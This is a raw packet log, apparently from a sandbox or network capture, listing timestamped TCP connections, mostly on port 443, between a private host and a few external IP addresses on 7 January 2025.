Jan 7, 2025 14:48:45.823457956 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.823602915 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.827711105 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.827954054 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.827984095 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.829022884 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.829087973 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.829442024 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.829499006 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.829591990 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.829597950 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.851217031 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.851521969 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.851535082 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.851841927 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.852140903 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.852188110 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.852406025 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.860132933 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.860392094 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.860409021 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.860532999 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.861052036 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.861094952 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.861207008 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.861392021 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.861406088 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.867336988 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.883246899 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.895329952 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:46.283415079 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:46.346247911 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:48:46.585346937 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:47.002264977 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.002685070 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.002712011 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.003854036 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.003936052 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.004304886 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.004374027 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.004453897 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.004461050 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.004955053 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.004985094 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.004992962 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005024910 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005048990 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005059004 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005072117 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005084991 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005096912 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005108118 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005147934 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005192995 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005224943 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005243063 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005292892 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005306005 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005316973 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005337000 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005350113 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005356073 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005388021 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005404949 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005409002 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005431890 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005471945 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005671978 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005687952 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005705118 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005747080 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005753040 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005781889 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.005790949 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.005922079 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.007286072 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.007299900 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.008409977 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.008414984 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.009747028 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.009780884 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.009813070 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.009818077 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.009857893 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.011842012 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.011858940 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.011919022 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.011924982 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.011957884 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.013900042 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.013906002 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.013930082 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.013957024 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.013958931 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.013961077 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.013972044 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.013999939 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.014049053 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.014075041 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.014511108 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.014527082 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.015275002 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.015291929 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.015377045 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.015381098 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.016465902 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.016519070 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.016593933 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.016606092 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.020178080 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:47.020184994 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.020211935 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.020241022 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:47.020283937 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.020311117 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:47.020581961 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.020596027 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.034673929 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:47.034679890 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:47.035952091 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.035988092 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.036089897 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.036298037 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.036312103 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.037478924 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.037525892 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.037595034 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.038222075 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.038242102 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.042601109 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.042615891 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.043179989 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.043519974 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.043528080 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.049282074 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.191262007 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:47.474948883 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.475070000 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.476162910 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.477054119 CET	49733	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.477071047 CET	443	49733	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.641004086 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.645565033 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.645595074 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.646099091 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.646578074 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.646660089 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.646785975 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.648888111 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.649214983 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.649230957 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.650216103 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.650347948 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.654468060 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.654555082 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.654568911 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.660342932 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.660578012 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.660598993 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.661660910 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.661736012 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.662602901 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.662662983 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.662759066 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.671762943 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.672189951 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.672209024 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.672549009 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.672960043 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.673024893 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.673188925 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.687823057 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.688273907 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.688287020 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.688610077 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.689080000 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.689080000 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.689095974 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.689146042 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.691329002 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.698247910 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.698326111 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.698343039 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.703341961 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.714375019 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.714385986 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.719329119 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:47.730282068 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.747128963 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:47.762347937 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.164064884 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164108992 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164120913 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164133072 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164158106 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164165974 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164174080 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.164201021 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164236069 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.164257050 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.164262056 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164307117 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.164343119 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.165616989 CET	49734	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.165643930 CET	443	49734	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.217443943 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.217844009 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.217880964 CET	443	49737	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.217955112 CET	49737	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.249497890 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.249524117 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.249532938 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.249563932 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.249592066 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.249628067 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.249658108 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.249672890 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.249715090 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.251274109 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.251295090 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.251365900 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.251375914 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.251424074 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.252163887 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.252257109 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.252260923 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.252312899 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.252672911 CET	49738	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.252690077 CET	443	49738	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.255667925 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.255703926 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.255791903 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.256036997 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.256051064 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.401277065 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:48.710911989 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.710937023 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.710942984 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.711051941 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.711080074 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.711133957 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.736955881 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.737893105 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.737958908 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.737972021 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.738014936 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.738384008 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.738406897 CET	443	49736	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.738424063 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.738475084 CET	49736	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.800857067 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.800873995 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.800913095 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.800931931 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.800951958 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.800982952 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.801012039 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.801037073 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.801065922 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.802875042 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.802891970 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.802966118 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.802973986 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.803019047 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.878730059 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.879095078 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.879117966 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.879477024 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.879780054 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.879851103 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.879935980 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.890479088 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.890500069 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.890585899 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.890605927 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.890655994 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.891401052 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.891436100 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.891477108 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.891484022 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.891530991 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.892760992 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.892779112 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.892837048 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.892846107 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.892891884 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.893748999 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.893764973 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.893826008 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.893832922 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.893873930 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.923337936 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.979962111 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.979989052 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.980032921 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.980098009 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.980154991 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.980243921 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.980869055 CET	49735	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.980887890 CET	443	49735	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.990329027 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.994529963 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.994574070 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:48.994646072 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.994986057 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:48.994997978 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.001714945 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.001744986 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.001895905 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.002104998 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.002120972 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.031342030 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.466022015 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.466056108 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.466072083 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.466219902 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.466250896 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.466310024 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.467116117 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.467133999 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.467216969 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.467233896 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.467264891 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.467299938 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.468036890 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.468122959 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.468130112 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.468179941 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.468426943 CET	49739	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.468452930 CET	443	49739	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.626811981 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.627156973 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.627172947 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.627547026 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.627877951 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.627953053 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.628015995 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.642882109 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.643172979 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.643203974 CET	443	49740	104.248.23.102	192.168.2.16
